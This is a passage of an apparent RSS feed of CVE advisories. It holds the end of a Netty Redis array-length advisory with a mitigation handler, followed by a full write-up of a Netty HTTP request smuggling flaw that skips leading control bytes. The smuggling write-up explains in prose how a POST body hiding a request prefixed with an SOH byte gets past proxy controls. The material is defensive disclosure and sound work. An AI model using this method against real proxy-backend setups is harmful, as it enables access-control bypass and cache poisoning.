The definitive resolution for CVE-2026-50011 is upgrading the underlying dependencies to secure versions. For projects operating on the `4.1.x` development branch, upgrade the `netty-codec-redis` dependency to version **4.1.135.Final** or higher. For projects using the newer `4.2.x` branch, upgrade to **4.2.15.Final** or higher.

If upgrading is not an immediate option, developers can deploy a pipeline mitigation by implementing a custom inbound channel handler. This handler should be inserted directly before the `RedisArrayAggregator` within the channel pipeline. The validation handler should inspect incoming messages, catch instances of `ArrayHeaderRedisMessage`, check the declared length, and disconnect the client if the size exceeds a logical business limit (e.g., 65,536 elements).

```java
// Example temporary mitigation handler
public final class LimitRedisArrayLengthHandler extends ChannelInboundHandlerAdapter {
    private static final int MAX_ALLOWED_ELEMENTS = 65536;

    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if (msg instanceof ArrayHeaderRedisMessage) {
            ArrayHeaderRedisMessage header = (ArrayHeaderRedisMessage) msg;
            if (header.length() &gt; MAX_ALLOWED_ELEMENTS) {
                // Block processing and close connection
                ctx.close();
                ReferenceCountUtil.release(msg);
                return;
            } 
        }
        super.channelRead(ctx, msg);
    }
}
```</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-50020: HTTP Request Smuggling in Netty HttpObjectDecoder via Arbitrary Leading Control Bytes]]></title>
            <description><![CDATA[Netty's HTTP decoder silently skips leading non-CRLF control characters (like SOH or NUL), allowing attackers to smuggle HTTP requests through reverse proxies.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-50020</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-50020</guid>
            <category><![CDATA[io.netty:netty-codec-http]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 20:46:36 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-50020/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netty is an asynchronous, event-driven network application framework used extensively in the enterprise Java ecosystem for building high-performance protocol servers and clients. The framework serves as the underlying networking layer for major projects, including Spring Boot WebFlux, Vert.x, Quarkus, and various API gateways. Because Netty handles raw socket parsing directly, flaws within its parsing logic expose a highly critical attack surface to the public internet.

This specific vulnerability, tracked as CVE-2026-50020 and natively as GHSA-hvcg-qmg6-jm4c, resides in Netty&apos;s HTTP codec module, specifically inside the `HttpObjectDecoder` class. The component is responsible for parsing raw incoming byte streams into structured HTTP request and response objects. A parsing inconsistency in this decoder allows remote attackers to perform HTTP request smuggling, a class of vulnerability categorized under CWE-444.

The vulnerability occurs when Netty acts as a backend server positioned behind an intermediary reverse proxy, load balancer, or web application firewall (WAF). If the upstream proxy handles invalid leading control characters differently than Netty, an attacker can exploit this discrepancy to bypass front-end security controls. The impact is restricted to architectures where persistent TCP connections are shared or reused between the proxy and the backend server.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-50020 lies in Netty&apos;s overly lenient handling of leading characters preceding the first HTTP request line. According to the HTTP/1.1 specification outlined in RFC 9112 §2.2, a robust HTTP parser is permitted to tolerate empty lines before a request. Specifically, the specification states that a server expecting to parse a request line should ignore at least one empty line (CRLF) received prior to that request line. This allowance is restricted strictly to carriage return and line feed characters.

In vulnerable versions of Netty, the parser implements a broader robustness logic that goes far beyond the RFC mandate. The `HttpObjectDecoder` class attempts to skip what it classifies as control characters and whitespace before beginning the extraction of the request method, URI, and version. To identify these bytes, Netty utilizes the static array `ISO_CONTROL_OR_WHITESPACE` initialized using Java&apos;s `Character.isISOControl(b)` helper method.

The application of `Character.isISOControl` introduces a major security deviation. In the Java language specification, this method evaluates to true for any byte value within the range of `0x00` through `0x1F`, as well as `0x7F`. This range includes characters such as NUL (`0x00`), SOH (`0x01`), STX (`0x02`), and other control sequences that are completely distinct from standard CRLF whitespace characters. When Netty encounters these bytes preceding an HTTP request line, it silently discards them instead of rejecting the stream as malformed.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis &amp; Fix Verification

To understand the architectural defect, we must examine the implementation of `LineParser.skipControlChars` in the vulnerable versions. The method utilizes a `ByteProcessor` to loop over the inbound buffer, advancing the reader index past any byte that matches the `ISO_CONTROL_OR_WHITESPACE` map. This processing logic effectively ignores illegal bytes, shifting the starting index of the actual HTTP request line forward.

```java
// Vulnerable logic in HttpObjectDecoder.java
private static void skipControlChars(ByteBuf buffer) {
    for (;;) {
        int i = buffer.forEachByte(SKIP_CONTROL_CHARS_BYTES);
        if (i == -1) {
            buffer.readerIndex(buffer.writerIndex());
            break;
        }
        buffer.readerIndex(i);
        // Arbitrary control characters (0x00-0x1F) are silently consumed
    }
}
```

The patch introduced in versions 4.1.135.Final and 4.2.15.Final addresses this behavior by replacing the generic ISO control check with a strict validation routine. The updated logic verifies that only valid CRLF sequences are bypassed. Any occurrence of non-CRLF control characters preceding the request line now immediately terminates the parsing sequence and registers a decoder failure, preventing the smuggling of subsequent requests.

```mermaid
graph LR
  A[&quot;Inbound Byte Stream&quot;] --&gt; B{&quot;Upstream Proxy&quot;}
  B --&gt;|&quot;Processes valid HTTP POST&quot;| C{&quot;Netty Backend&quot;}
  C --&gt;|&quot;Vulnerable: Skips 0x01 SOH Byte&quot;| D[&quot;Parses Smuggled GET Request&quot;]
  C --&gt;|&quot;Patched: Strict CRLF Validation&quot;| E[&quot;Rejects with Parser Error&quot;]
```

By ensuring that non-CRLF bytes trigger an immediate protocol violation, the updated parser aligns with RFC 9112 §2.2. The fix effectively eliminates the semantic gap between the proxy and Netty. Because the backend now rejects any leading bytes that are not CRLF, the proxy&apos;s view of the request stream remains synchronized with the backend&apos;s interpretation.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation &amp; Attack Methodology

Exploitation of CVE-2026-50020 relies on establishing a desynchronized state between the front-end reverse proxy and the backend Netty server. An attacker begins by crafting an HTTP pipelined payload containing two logical requests. The first request is a standard, syntactically valid HTTP POST request containing a body, while the second is a smuggled request prefixed with an arbitrary non-CRLF control character like SOH (`0x01`).

The front-end proxy inspects the initial POST request, reads the `Content-Length` header, and maps the entire body (including the smuggled request and its leading SOH byte) as payload data. It does not parse the payload as an independent HTTP request because it is contained within the POST request boundary. The proxy then routes the combined byte stream to the Netty backend over a shared, persistent connection.

When the Netty backend receives the stream, it processes the first POST request and executes the associated application handler. Once completed, Netty looks for the next request on the same TCP channel. It encounters the SOH byte, identifies it as an ISO control character, and silently ignores it. Netty then processes the immediate subsequent bytes as a brand new, independent HTTP request, allowing the attacker to bypass the proxy&apos;s routing restrictions.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The direct impact of CVE-2026-50020 is a complete bypass of front-end security controls. In modern architectures, reverse proxies are frequently used to enforce authentication, inspect authorization headers, and restrict access to administrative endpoints. By smuggling requests, an attacker can query these restricted endpoints directly because the proxy only validates the outer POST request.

Beyond access control bypasses, this request smuggling flaw can lead to cache poisoning if the front-end proxy caches responses based on request URIs. An attacker can orchestrate a scenario where a smuggled request causes the backend to return a malicious response, which the proxy then associates with a public URI. Consequently, subsequent legitimate users requesting that public URI are served the poisoned cache content.

The CVSS v3.1 base score is calculated at 5.3 (Medium) with the vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`. While the technical severity is medium because the vulnerability requires a specific proxy-backend configuration, the operational risk is high due to the ubiquity of Netty in cloud-native Java environments. Organizations employing Netty backends behind load balancers must prioritize patching to maintain boundary integrity.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation &amp; Mitigation Guidance

Remediation requires upgrading Netty components to secure versions. For environments utilizing the 4.1.x release line, teams must update `netty-codec-http` to version `4.1.135.Final` or higher. For applications built on the 4.2.x release line, the dependency must be updated to version `4.2.15.Final` or higher. Transitive dependency resolution tools should be configured to enforce these versions globally.

In scenarios where immediate upgrading is unfeasible, several defense-in-depth mitigations can reduce the threat vector. The most effective workaround is to disable connection keep-alive or pipeline reuse between the proxy and the Netty backend. If the proxy establishes a fresh TCP socket for every individual backend request, the boundary desynchronization necessary for request smuggling cannot occur.

Additionally, migrating the backend connection protocol from HTTP/1.1 to HTTP/2 offers robust protection. HTTP/2 utilizes binary framing to separate requests, rendering the protocol immune to text-delimited parsing errors like leading-byte smuggling. Finally, security teams can configure their front-end proxies or WAFs to detect and reject any request payloads containing raw binary control characters in the body of HTTP/1.1 requests.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
    </channel>
</rss>